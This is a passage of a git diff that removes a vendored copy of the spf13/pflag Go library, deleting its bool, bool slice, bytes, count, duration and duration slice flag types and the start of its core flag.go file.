flag.CommandLine.AddGoFlagSet(goflag.CommandLine) - flag.Parse() -} -``` - -## More info - -You can see the full reference documentation of the pflag package -[at godoc.org][3], or through go's standard documentation system by -running `godoc -http=:6060` and browsing to -[http://localhost:6060/pkg/github.com/spf13/pflag][2] after -installation. - -[2]: http://localhost:6060/pkg/github.com/spf13/pflag -[3]: http://godoc.org/github.com/spf13/pflag diff --git a/vendor/github.com/spf13/pflag/bool.go b/vendor/github.com/spf13/pflag/bool.go deleted file mode 100644 index c4c5c0bfda..0000000000 --- a/vendor/github.com/spf13/pflag/bool.go +++ /dev/null @@ -1,94 +0,0 @@ -package pflag - -import "strconv" - -// optional interface to indicate boolean flags that can be -// supplied without "=value" text -type boolFlag interface { - Value - IsBoolFlag() bool -} - -// -- bool Value -type boolValue bool - -func newBoolValue(val bool, p *bool) *boolValue { - *p = val - return (*boolValue)(p) -} - -func (b *boolValue) Set(s string) error { - v, err := strconv.ParseBool(s) - *b = boolValue(v) - return err -} - -func (b *boolValue) Type() string { - return "bool" -} - -func (b *boolValue) String() string { return strconv.FormatBool(bool(*b)) } - -func (b *boolValue) IsBoolFlag() bool { return true } - -func boolConv(sval string) (interface{}, error) { - return strconv.ParseBool(sval) -} - -// GetBool return the bool value of a flag with the given name -func (f *FlagSet) GetBool(name string) (bool, error) { - val, err := f.getFlagType(name, "bool", boolConv) - if err != nil { - return false, err - } - return val.(bool), nil -} - -// BoolVar defines a bool flag with specified name, default value, and usage string. -// The argument p points to a bool variable in which to store the value of the flag. -func (f *FlagSet) BoolVar(p *bool, name string, value bool, usage string) { - f.BoolVarP(p, name, "", value, usage) -} - -// BoolVarP is like BoolVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) BoolVarP(p *bool, name, shorthand string, value bool, usage string) { - flag := f.VarPF(newBoolValue(value, p), name, shorthand, usage) - flag.NoOptDefVal = "true" -} - -// BoolVar defines a bool flag with specified name, default value, and usage string. -// The argument p points to a bool variable in which to store the value of the flag. -func BoolVar(p *bool, name string, value bool, usage string) { - BoolVarP(p, name, "", value, usage) -} - -// BoolVarP is like BoolVar, but accepts a shorthand letter that can be used after a single dash. -func BoolVarP(p *bool, name, shorthand string, value bool, usage string) { - flag := CommandLine.VarPF(newBoolValue(value, p), name, shorthand, usage) - flag.NoOptDefVal = "true" -} - -// Bool defines a bool flag with specified name, default value, and usage string. -// The return value is the address of a bool variable that stores the value of the flag. -func (f *FlagSet) Bool(name string, value bool, usage string) *bool { - return f.BoolP(name, "", value, usage) -} - -// BoolP is like Bool, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) BoolP(name, shorthand string, value bool, usage string) *bool { - p := new(bool) - f.BoolVarP(p, name, shorthand, value, usage) - return p -} - -// Bool defines a bool flag with specified name, default value, and usage string. -// The return value is the address of a bool variable that stores the value of the flag. -func Bool(name string, value bool, usage string) *bool { - return BoolP(name, "", value, usage) -} - -// BoolP is like Bool, but accepts a shorthand letter that can be used after a single dash. -func BoolP(name, shorthand string, value bool, usage string) *bool { - b := CommandLine.BoolP(name, shorthand, value, usage) - return b -} diff --git a/vendor/github.com/spf13/pflag/bool_slice.go b/vendor/github.com/spf13/pflag/bool_slice.go deleted file mode 100644 index 3731370d6a..0000000000 --- a/vendor/github.com/spf13/pflag/bool_slice.go +++ /dev/null @@ -1,185 +0,0 @@ -package pflag - -import ( - "io" - "strconv" - "strings" -) - -// -- boolSlice Value -type boolSliceValue struct { - value *[]bool - changed bool -} - -func newBoolSliceValue(val []bool, p *[]bool) *boolSliceValue { - bsv := new(boolSliceValue) - bsv.value = p - *bsv.value = val - return bsv -} - -// Set converts, and assigns, the comma-separated boolean argument string representation as the []bool value of this flag. -// If Set is called on a flag that already has a []bool assigned, the newly converted values will be appended. -func (s *boolSliceValue) Set(val string) error { - - // remove all quote characters - rmQuote := strings.NewReplacer(`"`, "", `'`, "", "`", "") - - // read flag arguments with CSV parser - boolStrSlice, err := readAsCSV(rmQuote.Replace(val)) - if err != nil && err != io.EOF { - return err - } - - // parse boolean values into slice - out := make([]bool, 0, len(boolStrSlice)) - for _, boolStr := range boolStrSlice { - b, err := strconv.ParseBool(strings.TrimSpace(boolStr)) - if err != nil { - return err - } - out = append(out, b) - } - - if !s.changed { - *s.value = out - } else { - *s.value = append(*s.value, out...) - } - - s.changed = true - - return nil -} - -// Type returns a string that uniquely represents this flag's type. -func (s *boolSliceValue) Type() string { - return "boolSlice" -} - -// String defines a "native" format for this boolean slice flag value. -func (s *boolSliceValue) String() string { - - boolStrSlice := make([]string, len(*s.value)) - for i, b := range *s.value { - boolStrSlice[i] = strconv.FormatBool(b) - } - - out, _ := writeAsCSV(boolStrSlice) - - return "[" + out + "]" -} - -func (s *boolSliceValue) fromString(val string) (bool, error) { - return strconv.ParseBool(val) -} - -func (s *boolSliceValue) toString(val bool) string { - return strconv.FormatBool(val) -} - -func (s *boolSliceValue) Append(val string) error { - i, err := s.fromString(val) - if err != nil { - return err - } - *s.value = append(*s.value, i) - return nil -} - -func (s *boolSliceValue) Replace(val []string) error { - out := make([]bool, len(val)) - for i, d := range val { - var err error - out[i], err = s.fromString(d) - if err != nil { - return err - } - } - *s.value = out - return nil -} - -func (s *boolSliceValue) GetSlice() []string { - out := make([]string, len(*s.value)) - for i, d := range *s.value { - out[i] = s.toString(d) - } - return out -} - -func boolSliceConv(val string) (interface{}, error) { - val = strings.Trim(val, "[]") - // Empty string would cause a slice with one (empty) entry - if len(val) == 0 { - return []bool{}, nil - } - ss := strings.Split(val, ",") - out := make([]bool, len(ss)) - for i, t := range ss { - var err error - out[i], err = strconv.ParseBool(t) - if err != nil { - return nil, err - } - } - return out, nil -} - -// GetBoolSlice returns the []bool value of a flag with the given name. -func (f *FlagSet) GetBoolSlice(name string) ([]bool, error) { - val, err := f.getFlagType(name, "boolSlice", boolSliceConv) - if err != nil { - return []bool{}, err - } - return val.([]bool), nil -} - -// BoolSliceVar defines a boolSlice flag with specified name, default value, and usage string. -// The argument p points to a []bool variable in which to store the value of the flag. -func (f *FlagSet) BoolSliceVar(p *[]bool, name string, value []bool, usage string) { - f.VarP(newBoolSliceValue(value, p), name, "", usage) -} - -// BoolSliceVarP is like BoolSliceVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) BoolSliceVarP(p *[]bool, name, shorthand string, value []bool, usage string) { - f.VarP(newBoolSliceValue(value, p), name, shorthand, usage) -} - -// BoolSliceVar defines a []bool flag with specified name, default value, and usage string. -// The argument p points to a []bool variable in which to store the value of the flag. -func BoolSliceVar(p *[]bool, name string, value []bool, usage string) { - CommandLine.VarP(newBoolSliceValue(value, p), name, "", usage) -} - -// BoolSliceVarP is like BoolSliceVar, but accepts a shorthand letter that can be used after a single dash. -func BoolSliceVarP(p *[]bool, name, shorthand string, value []bool, usage string) { - CommandLine.VarP(newBoolSliceValue(value, p), name, shorthand, usage) -} - -// BoolSlice defines a []bool flag with specified name, default value, and usage string. -// The return value is the address of a []bool variable that stores the value of the flag. -func (f *FlagSet) BoolSlice(name string, value []bool, usage string) *[]bool { - p := []bool{} - f.BoolSliceVarP(&p, name, "", value, usage) - return &p -} - -// BoolSliceP is like BoolSlice, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) BoolSliceP(name, shorthand string, value []bool, usage string) *[]bool { - p := []bool{} - f.BoolSliceVarP(&p, name, shorthand, value, usage) - return &p -} - -// BoolSlice defines a []bool flag with specified name, default value, and usage string. -// The return value is the address of a []bool variable that stores the value of the flag. -func BoolSlice(name string, value []bool, usage string) *[]bool { - return CommandLine.BoolSliceP(name, "", value, usage) -} - -// BoolSliceP is like BoolSlice, but accepts a shorthand letter that can be used after a single dash. -func BoolSliceP(name, shorthand string, value []bool, usage string) *[]bool { - return CommandLine.BoolSliceP(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/bytes.go b/vendor/github.com/spf13/pflag/bytes.go deleted file mode 100644 index 67d5304570..0000000000 --- a/vendor/github.com/spf13/pflag/bytes.go +++ /dev/null @@ -1,209 +0,0 @@ -package pflag - -import ( - "encoding/base64" - "encoding/hex" - "fmt" - "strings" -) - -// BytesHex adapts []byte for use as a flag. Value of flag is HEX encoded -type bytesHexValue []byte - -// String implements pflag.Value.String. -func (bytesHex bytesHexValue) String() string { - return fmt.Sprintf("%X", []byte(bytesHex)) -} - -// Set implements pflag.Value.Set. -func (bytesHex *bytesHexValue) Set(value string) error { - bin, err := hex.DecodeString(strings.TrimSpace(value)) - - if err != nil { - return err - } - - *bytesHex = bin - - return nil -} - -// Type implements pflag.Value.Type. -func (*bytesHexValue) Type() string { - return "bytesHex" -} - -func newBytesHexValue(val []byte, p *[]byte) *bytesHexValue { - *p = val - return (*bytesHexValue)(p) -} - -func bytesHexConv(sval string) (interface{}, error) { - - bin, err := hex.DecodeString(sval) - - if err == nil { - return bin, nil - } - - return nil, fmt.Errorf("invalid string being converted to Bytes: %s %s", sval, err) -} - -// GetBytesHex return the []byte value of a flag with the given name -func (f *FlagSet) GetBytesHex(name string) ([]byte, error) { - val, err := f.getFlagType(name, "bytesHex", bytesHexConv) - - if err != nil { - return []byte{}, err - } - - return val.([]byte), nil -} - -// BytesHexVar defines an []byte flag with specified name, default value, and usage string. -// The argument p points to an []byte variable in which to store the value of the flag. -func (f *FlagSet) BytesHexVar(p *[]byte, name string, value []byte, usage string) { - f.VarP(newBytesHexValue(value, p), name, "", usage) -} - -// BytesHexVarP is like BytesHexVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) BytesHexVarP(p *[]byte, name, shorthand string, value []byte, usage string) { - f.VarP(newBytesHexValue(value, p), name, shorthand, usage) -} - -// BytesHexVar defines an []byte flag with specified name, default value, and usage string. -// The argument p points to an []byte variable in which to store the value of the flag. -func BytesHexVar(p *[]byte, name string, value []byte, usage string) { - CommandLine.VarP(newBytesHexValue(value, p), name, "", usage) -} - -// BytesHexVarP is like BytesHexVar, but accepts a shorthand letter that can be used after a single dash. -func BytesHexVarP(p *[]byte, name, shorthand string, value []byte, usage string) { - CommandLine.VarP(newBytesHexValue(value, p), name, shorthand, usage) -} - -// BytesHex defines an []byte flag with specified name, default value, and usage string. -// The return value is the address of an []byte variable that stores the value of the flag. -func (f *FlagSet) BytesHex(name string, value []byte, usage string) *[]byte { - p := new([]byte) - f.BytesHexVarP(p, name, "", value, usage) - return p -} - -// BytesHexP is like BytesHex, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) BytesHexP(name, shorthand string, value []byte, usage string) *[]byte { - p := new([]byte) - f.BytesHexVarP(p, name, shorthand, value, usage) - return p -} - -// BytesHex defines an []byte flag with specified name, default value, and usage string. -// The return value is the address of an []byte variable that stores the value of the flag. -func BytesHex(name string, value []byte, usage string) *[]byte { - return CommandLine.BytesHexP(name, "", value, usage) -} - -// BytesHexP is like BytesHex, but accepts a shorthand letter that can be used after a single dash. -func BytesHexP(name, shorthand string, value []byte, usage string) *[]byte { - return CommandLine.BytesHexP(name, shorthand, value, usage) -} - -// BytesBase64 adapts []byte for use as a flag. Value of flag is Base64 encoded -type bytesBase64Value []byte - -// String implements pflag.Value.String. -func (bytesBase64 bytesBase64Value) String() string { - return base64.StdEncoding.EncodeToString([]byte(bytesBase64)) -} - -// Set implements pflag.Value.Set. -func (bytesBase64 *bytesBase64Value) Set(value string) error { - bin, err := base64.StdEncoding.DecodeString(strings.TrimSpace(value)) - - if err != nil { - return err - } - - *bytesBase64 = bin - - return nil -} - -// Type implements pflag.Value.Type. -func (*bytesBase64Value) Type() string { - return "bytesBase64" -} - -func newBytesBase64Value(val []byte, p *[]byte) *bytesBase64Value { - *p = val - return (*bytesBase64Value)(p) -} - -func bytesBase64ValueConv(sval string) (interface{}, error) { - - bin, err := base64.StdEncoding.DecodeString(sval) - if err == nil { - return bin, nil - } - - return nil, fmt.Errorf("invalid string being converted to Bytes: %s %s", sval, err) -} - -// GetBytesBase64 return the []byte value of a flag with the given name -func (f *FlagSet) GetBytesBase64(name string) ([]byte, error) { - val, err := f.getFlagType(name, "bytesBase64", bytesBase64ValueConv) - - if err != nil { - return []byte{}, err - } - - return val.([]byte), nil -} - -// BytesBase64Var defines an []byte flag with specified name, default value, and usage string. -// The argument p points to an []byte variable in which to store the value of the flag. -func (f *FlagSet) BytesBase64Var(p *[]byte, name string, value []byte, usage string) { - f.VarP(newBytesBase64Value(value, p), name, "", usage) -} - -// BytesBase64VarP is like BytesBase64Var, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) BytesBase64VarP(p *[]byte, name, shorthand string, value []byte, usage string) { - f.VarP(newBytesBase64Value(value, p), name, shorthand, usage) -} - -// BytesBase64Var defines an []byte flag with specified name, default value, and usage string. -// The argument p points to an []byte variable in which to store the value of the flag. -func BytesBase64Var(p *[]byte, name string, value []byte, usage string) { - CommandLine.VarP(newBytesBase64Value(value, p), name, "", usage) -} - -// BytesBase64VarP is like BytesBase64Var, but accepts a shorthand letter that can be used after a single dash. -func BytesBase64VarP(p *[]byte, name, shorthand string, value []byte, usage string) { - CommandLine.VarP(newBytesBase64Value(value, p), name, shorthand, usage) -} - -// BytesBase64 defines an []byte flag with specified name, default value, and usage string. -// The return value is the address of an []byte variable that stores the value of the flag. -func (f *FlagSet) BytesBase64(name string, value []byte, usage string) *[]byte { - p := new([]byte) - f.BytesBase64VarP(p, name, "", value, usage) - return p -} - -// BytesBase64P is like BytesBase64, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) BytesBase64P(name, shorthand string, value []byte, usage string) *[]byte { - p := new([]byte) - f.BytesBase64VarP(p, name, shorthand, value, usage) - return p -} - -// BytesBase64 defines an []byte flag with specified name, default value, and usage string. -// The return value is the address of an []byte variable that stores the value of the flag. -func BytesBase64(name string, value []byte, usage string) *[]byte { - return CommandLine.BytesBase64P(name, "", value, usage) -} - -// BytesBase64P is like BytesBase64, but accepts a shorthand letter that can be used after a single dash. -func BytesBase64P(name, shorthand string, value []byte, usage string) *[]byte { - return CommandLine.BytesBase64P(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/count.go b/vendor/github.com/spf13/pflag/count.go deleted file mode 100644 index a0b2679f71..0000000000 --- a/vendor/github.com/spf13/pflag/count.go +++ /dev/null @@ -1,96 +0,0 @@ -package pflag - -import "strconv" - -// -- count Value -type countValue int - -func newCountValue(val int, p *int) *countValue { - *p = val - return (*countValue)(p) -} - -func (i *countValue) Set(s string) error { - // "+1" means that no specific value was passed, so increment - if s == "+1" { - *i = countValue(*i + 1) - return nil - } - v, err := strconv.ParseInt(s, 0, 0) - *i = countValue(v) - return err -} - -func (i *countValue) Type() string { - return "count" -} - -func (i *countValue) String() string { return strconv.Itoa(int(*i)) } - -func countConv(sval string) (interface{}, error) { - i, err := strconv.Atoi(sval) - if err != nil { - return nil, err - } - return i, nil -} - -// GetCount return the int value of a flag with the given name -func (f *FlagSet) GetCount(name string) (int, error) { - val, err := f.getFlagType(name, "count", countConv) - if err != nil { - return 0, err - } - return val.(int), nil -} - -// CountVar defines a count flag with specified name, default value, and usage string. -// The argument p points to an int variable in which to store the value of the flag. -// A count flag will add 1 to its value every time it is found on the command line -func (f *FlagSet) CountVar(p *int, name string, usage string) { - f.CountVarP(p, name, "", usage) -} - -// CountVarP is like CountVar only take a shorthand for the flag name. -func (f *FlagSet) CountVarP(p *int, name, shorthand string, usage string) { - flag := f.VarPF(newCountValue(0, p), name, shorthand, usage) - flag.NoOptDefVal = "+1" -} - -// CountVar like CountVar only the flag is placed on the CommandLine instead of a given flag set -func CountVar(p *int, name string, usage string) { - CommandLine.CountVar(p, name, usage) -} - -// CountVarP is like CountVar only take a shorthand for the flag name. -func CountVarP(p *int, name, shorthand string, usage string) { - CommandLine.CountVarP(p, name, shorthand, usage) -} - -// Count defines a count flag with specified name, default value, and usage string. -// The return value is the address of an int variable that stores the value of the flag. -// A count flag will add 1 to its value every time it is found on the command line -func (f *FlagSet) Count(name string, usage string) *int { - p := new(int) - f.CountVarP(p, name, "", usage) - return p -} - -// CountP is like Count only takes a shorthand for the flag name. -func (f *FlagSet) CountP(name, shorthand string, usage string) *int { - p := new(int) - f.CountVarP(p, name, shorthand, usage) - return p -} - -// Count defines a count flag with specified name, default value, and usage string. -// The return value is the address of an int variable that stores the value of the flag. -// A count flag will add 1 to its value evey time it is found on the command line -func Count(name string, usage string) *int { - return CommandLine.CountP(name, "", usage) -} - -// CountP is like Count only takes a shorthand for the flag name. -func CountP(name, shorthand string, usage string) *int { - return CommandLine.CountP(name, shorthand, usage) -} diff --git a/vendor/github.com/spf13/pflag/duration.go b/vendor/github.com/spf13/pflag/duration.go deleted file mode 100644 index e9debef88e..0000000000 --- a/vendor/github.com/spf13/pflag/duration.go +++ /dev/null @@ -1,86 +0,0 @@ -package pflag - -import ( - "time" -) - -// -- time.Duration Value -type durationValue time.Duration - -func newDurationValue(val time.Duration, p *time.Duration) *durationValue { - *p = val - return (*durationValue)(p) -} - -func (d *durationValue) Set(s string) error { - v, err := time.ParseDuration(s) - *d = durationValue(v) - return err -} - -func (d *durationValue) Type() string { - return "duration" -} - -func (d *durationValue) String() string { return (*time.Duration)(d).String() } - -func durationConv(sval string) (interface{}, error) { - return time.ParseDuration(sval) -} - -// GetDuration return the duration value of a flag with the given name -func (f *FlagSet) GetDuration(name string) (time.Duration, error) { - val, err := f.getFlagType(name, "duration", durationConv) - if err != nil { - return 0, err - } - return val.(time.Duration), nil -} - -// DurationVar defines a time.Duration flag with specified name, default value, and usage string. -// The argument p points to a time.Duration variable in which to store the value of the flag. -func (f *FlagSet) DurationVar(p *time.Duration, name string, value time.Duration, usage string) { - f.VarP(newDurationValue(value, p), name, "", usage) -} - -// DurationVarP is like DurationVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) DurationVarP(p *time.Duration, name, shorthand string, value time.Duration, usage string) { - f.VarP(newDurationValue(value, p), name, shorthand, usage) -} - -// DurationVar defines a time.Duration flag with specified name, default value, and usage string. -// The argument p points to a time.Duration variable in which to store the value of the flag. -func DurationVar(p *time.Duration, name string, value time.Duration, usage string) { - CommandLine.VarP(newDurationValue(value, p), name, "", usage) -} - -// DurationVarP is like DurationVar, but accepts a shorthand letter that can be used after a single dash. -func DurationVarP(p *time.Duration, name, shorthand string, value time.Duration, usage string) { - CommandLine.VarP(newDurationValue(value, p), name, shorthand, usage) -} - -// Duration defines a time.Duration flag with specified name, default value, and usage string. -// The return value is the address of a time.Duration variable that stores the value of the flag. -func (f *FlagSet) Duration(name string, value time.Duration, usage string) *time.Duration { - p := new(time.Duration) - f.DurationVarP(p, name, "", value, usage) - return p -} - -// DurationP is like Duration, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) DurationP(name, shorthand string, value time.Duration, usage string) *time.Duration { - p := new(time.Duration) - f.DurationVarP(p, name, shorthand, value, usage) - return p -} - -// Duration defines a time.Duration flag with specified name, default value, and usage string. -// The return value is the address of a time.Duration variable that stores the value of the flag. -func Duration(name string, value time.Duration, usage string) *time.Duration { - return CommandLine.DurationP(name, "", value, usage) -} - -// DurationP is like Duration, but accepts a shorthand letter that can be used after a single dash. -func DurationP(name, shorthand string, value time.Duration, usage string) *time.Duration { - return CommandLine.DurationP(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/duration_slice.go b/vendor/github.com/spf13/pflag/duration_slice.go deleted file mode 100644 index badadda53f..0000000000 --- a/vendor/github.com/spf13/pflag/duration_slice.go +++ /dev/null @@ -1,166 +0,0 @@ -package pflag - -import ( - "fmt" - "strings" - "time" -) - -// -- durationSlice Value -type durationSliceValue struct { - value *[]time.Duration - changed bool -} - -func newDurationSliceValue(val []time.Duration, p *[]time.Duration) *durationSliceValue { - dsv := new(durationSliceValue) - dsv.value = p - *dsv.value = val - return dsv -} - -func (s *durationSliceValue) Set(val string) error { - ss := strings.Split(val, ",") - out := make([]time.Duration, len(ss)) - for i, d := range ss { - var err error - out[i], err = time.ParseDuration(d) - if err != nil { - return err - } - - } - if !s.changed { - *s.value = out - } else { - *s.value = append(*s.value, out...) - } - s.changed = true - return nil -} - -func (s *durationSliceValue) Type() string { - return "durationSlice" -} - -func (s *durationSliceValue) String() string { - out := make([]string, len(*s.value)) - for i, d := range *s.value { - out[i] = fmt.Sprintf("%s", d) - } - return "[" + strings.Join(out, ",") + "]" -} - -func (s *durationSliceValue) fromString(val string) (time.Duration, error) { - return time.ParseDuration(val) -} - -func (s *durationSliceValue) toString(val time.Duration) string { - return fmt.Sprintf("%s", val) -} - -func (s *durationSliceValue) Append(val string) error { - i, err := s.fromString(val) - if err != nil { - return err - } - *s.value = append(*s.value, i) - return nil -} - -func (s *durationSliceValue) Replace(val []string) error { - out := make([]time.Duration, len(val)) - for i, d := range val { - var err error - out[i], err = s.fromString(d) - if err != nil { - return err - } - } - *s.value = out - return nil -} - -func (s *durationSliceValue) GetSlice() []string { - out := make([]string, len(*s.value)) - for i, d := range *s.value { - out[i] = s.toString(d) - } - return out -} - -func durationSliceConv(val string) (interface{}, error) { - val = strings.Trim(val, "[]") - // Empty string would cause a slice with one (empty) entry - if len(val) == 0 { - return []time.Duration{}, nil - } - ss := strings.Split(val, ",") - out := make([]time.Duration, len(ss)) - for i, d := range ss { - var err error - out[i], err = time.ParseDuration(d) - if err != nil { - return nil, err - } - - } - return out, nil -} - -// GetDurationSlice returns the []time.Duration value of a flag with the given name -func (f *FlagSet) GetDurationSlice(name string) ([]time.Duration, error) { - val, err := f.getFlagType(name, "durationSlice", durationSliceConv) - if err != nil { - return []time.Duration{}, err - } - return val.([]time.Duration), nil -} - -// DurationSliceVar defines a durationSlice flag with specified name, default value, and usage string. -// The argument p points to a []time.Duration variable in which to store the value of the flag. -func (f *FlagSet) DurationSliceVar(p *[]time.Duration, name string, value []time.Duration, usage string) { - f.VarP(newDurationSliceValue(value, p), name, "", usage) -} - -// DurationSliceVarP is like DurationSliceVar, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) DurationSliceVarP(p *[]time.Duration, name, shorthand string, value []time.Duration, usage string) { - f.VarP(newDurationSliceValue(value, p), name, shorthand, usage) -} - -// DurationSliceVar defines a duration[] flag with specified name, default value, and usage string. -// The argument p points to a duration[] variable in which to store the value of the flag. -func DurationSliceVar(p *[]time.Duration, name string, value []time.Duration, usage string) { - CommandLine.VarP(newDurationSliceValue(value, p), name, "", usage) -} - -// DurationSliceVarP is like DurationSliceVar, but accepts a shorthand letter that can be used after a single dash. -func DurationSliceVarP(p *[]time.Duration, name, shorthand string, value []time.Duration, usage string) { - CommandLine.VarP(newDurationSliceValue(value, p), name, shorthand, usage) -} - -// DurationSlice defines a []time.Duration flag with specified name, default value, and usage string. -// The return value is the address of a []time.Duration variable that stores the value of the flag. -func (f *FlagSet) DurationSlice(name string, value []time.Duration, usage string) *[]time.Duration { - p := []time.Duration{} - f.DurationSliceVarP(&p, name, "", value, usage) - return &p -} - -// DurationSliceP is like DurationSlice, but accepts a shorthand letter that can be used after a single dash. -func (f *FlagSet) DurationSliceP(name, shorthand string, value []time.Duration, usage string) *[]time.Duration { - p := []time.Duration{} - f.DurationSliceVarP(&p, name, shorthand, value, usage) - return &p -} - -// DurationSlice defines a []time.Duration flag with specified name, default value, and usage string. -// The return value is the address of a []time.Duration variable that stores the value of the flag. -func DurationSlice(name string, value []time.Duration, usage string) *[]time.Duration { - return CommandLine.DurationSliceP(name, "", value, usage) -} - -// DurationSliceP is like DurationSlice, but accepts a shorthand letter that can be used after a single dash. -func DurationSliceP(name, shorthand string, value []time.Duration, usage string) *[]time.Duration { - return CommandLine.DurationSliceP(name, shorthand, value, usage) -} diff --git a/vendor/github.com/spf13/pflag/flag.go b/vendor/github.com/spf13/pflag/flag.go deleted file mode 100644 index 24a5036e95..0000000000 --- a/vendor/github.com/spf13/pflag/flag.go +++ /dev/null @@ -1,1239 +0,0 @@ -// Copyright 2009 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -/* -Package pflag is a drop-in replacement for Go's flag package, implementing -POSIX/GNU-style --flags. - -pflag is compatible with the GNU extensions to the POSIX recommendations -for command-line options. See -http://www.gnu.org/software/libc/manual/html_node/Argument-Syntax.html - -Usage: - -pflag is a drop-in replacement of Go's native flag package. If you import -pflag under the name "flag" then all code should continue to function -with no changes. - - import flag "github.com/spf13/pflag" - -There is one exception to this: if you directly instantiate the Flag struct -there is one more field "Shorthand" that you will need to set. -Most code never instantiates this struct directly, and instead uses -functions such as String(), BoolVar(), and Var(), and is therefore -unaffected. - -Define flags using flag.String(), Bool(), Int(), etc. - -This declares an integer flag, -flagname, stored in the pointer ip, with type *int. - var ip = flag.Int("flagname", 1234, "help message for flagname") -If you like, you can bind the flag to a variable using the Var() functions. - var flagvar int - func init() { - flag.IntVar(&flagvar, "flagname", 1234, "help message for flagname") - } -Or you can create custom flags that satisfy the Value interface (with -pointer receivers) and couple them to flag parsing by - flag.Var(&flagVal, "name", "help message for flagname") -For such flags, the default value is just the initial value of the variable. - -After all flags are defined, call - flag.Parse() -to parse the command line into the defined flags. - -Flags may then be used directly. If you're using the flags themselves, -they are all pointers; if you bind to variables, they're values. - fmt.Println("ip has value ", *ip) - fmt.Println("flagvar has value ", flagvar) - -After parsing, the arguments after the flag are available as the -slice flag.Args() or individually as flag.Arg(i). -The arguments are indexed from 0 through flag.NArg()-1. - -The pflag package also defines some new functions that are not in flag, -that give one-letter shorthands for flags. You can use these by appending -'P' to the name of any function that defines a flag. - var ip = flag.IntP("flagname", "f", 1234, "help message") - var flagvar bool - func init() { - flag.BoolVarP(&flagvar, "boolname", "b", true, "help message") - } - flag.VarP(&flagval, "varname", "v", "help message") -Shorthand letters can be used with single dashes on the command line. -Boolean shorthand flags can be combined with other shorthand flags. - -Command line flag syntax: - --flag // boolean flags only - --flag=x - -Unlike the flag package, a single dash before an option means something -different than a double dash. Single dashes signify a series of shorthand -letters for flags. All but the last shorthand letter must be boolean flags. - // boolean flags - -f - -abc - // non-boolean flags - -n 1234 - -Ifile - // mixed - -abcs "hello" - -abcn1234 - -Flag parsing stops after the terminator "--". Unlike the flag package, -flags can be interspersed with arguments anywhere on the command line -before this terminator. - -Integer flags accept 1234, 0664, 0x1234 and may be negative. -Boolean flags (in their long form) accept 1, 0, t, f, true, false, -TRUE, FALSE, True, False. -Duration flags accept any input valid for time.ParseDuration. - -The default set of command-line flags is controlled by -top-level functions. The FlagSet type allows one to define -independent sets of flags, such as to implement subcommands -in a command-line interface. The methods of FlagSet are -analogous to the top-level functions for the command-line -flag set. -*/ -package pflag - -import ( - "bytes" - "errors" - goflag "flag" - "fmt" - "io" - "os" - "sort" - "strings" -) - -// ErrHelp is the error returned if the flag -help is invoked but no such flag is defined. -var ErrHelp = errors.New("pflag: help requested") - -// ErrorHandling defines how to handle flag parsing errors. -type ErrorHandling int - -const ( - // ContinueOnError will return an err from Parse() if an error is found - ContinueOnError ErrorHandling = iota - // ExitOnError will call os.Exit(2) if an error is found when parsing - ExitOnError - // PanicOnError will panic() if an error is found when parsing flags - PanicOnError -) - -// ParseErrorsWhitelist defines the parsing errors that can be ignored -type ParseErrorsWhitelist struct { - // UnknownFlags will ignore unknown flags errors and continue parsing rest of the flags - UnknownFlags bool -} - -// NormalizedName is a flag name that has been normalized according to rules -// for the FlagSet (e.g. making '-' and '_' equivalent). -type NormalizedName string - -// A FlagSet represents a set of defined flags. -type FlagSet struct { - // Usage is the function called when an error occurs while parsing flags. - // The field is a function (not a method) that may be changed to point to - // a custom error handler. - Usage func() - - // SortFlags is used to indicate, if user wants to have sorted flags in - // help/usage messages. - SortFlags bool - - // ParseErrorsWhitelist is used to configure a whitelist of errors - ParseErrorsWhitelist ParseErrorsWhitelist - - name string - parsed bool - actual map[NormalizedName]*Flag - orderedActual []*Flag - sortedActual []*Flag - formal map[NormalizedName]*Flag - orderedFormal []*Flag - sortedFormal []*Flag - shorthands map[byte]*Flag - args []string // arguments after flags - argsLenAtDash int // len(args) when a '--' was located when parsing, or -1 if no -- - errorHandling ErrorHandling - output io.Writer // nil means stderr; use out() accessor - interspersed bool // allow interspersed option/non-option args - normalizeNameFunc func(f *FlagSet, name string) NormalizedName - - addedGoFlagSets []*goflag.FlagSet -} - -// A Flag represents the state of a flag. -type Flag struct { - Name string // name as it appears on command line - Shorthand string // one-letter abbreviated flag - Usage string // help message - Value Value // value as set - DefValue string // default value (as text); for usage message - Changed bool // If the user set the value (or if left to default) - NoOptDefVal string // default value (as text); if the flag is on the command line without any options - Deprecated string // If this flag is deprecated, this string is the new or now thing to use - Hidden bool // used by cobra.Command to allow flags to be hidden from help/usage text - ShorthandDeprecated string // If the shorthand of this flag is deprecated, this string is the new or now thing to use - Annotations map[string][]string // used by cobra.Command bash autocomple code -} - -// Value is the interface to the dynamic value stored in a flag. -// (The default value is represented as a string.) -type Value interface { - String() string - Set(string) error - Type() string -} - -// SliceValue is a secondary interface to all flags which hold a list -// of values. This allows full control over the value of list flags, -// and avoids complicated marshalling and unmarshalling to csv. -type SliceValue interface { - // Append adds the specified value to the end of the flag value list. - Append(string) error - // Replace will fully overwrite any data currently in the flag value list. - Replace([]string) error - // GetSlice returns the flag value list as an array of strings. - GetSlice() []string -} - -// sortFlags returns the flags as a slice in lexicographical sorted order. -func sortFlags(flags map[NormalizedName]*Flag) []*Flag { - list := make(sort.StringSlice, len(flags)) - i := 0 - for k := range flags { - list[i] = string(k) - i++ - } - list.Sort() - result := make([]*Flag, len(list)) - for i, name := range list { - result[i] = flags[NormalizedName(name)] - } - return result -} - -// SetNormalizeFunc allows you to add a function which can translate flag names. -// Flags added to the FlagSet will be translated and then when anything tries to -// look up the flag that will also be translated. So it would be possible to create -// a 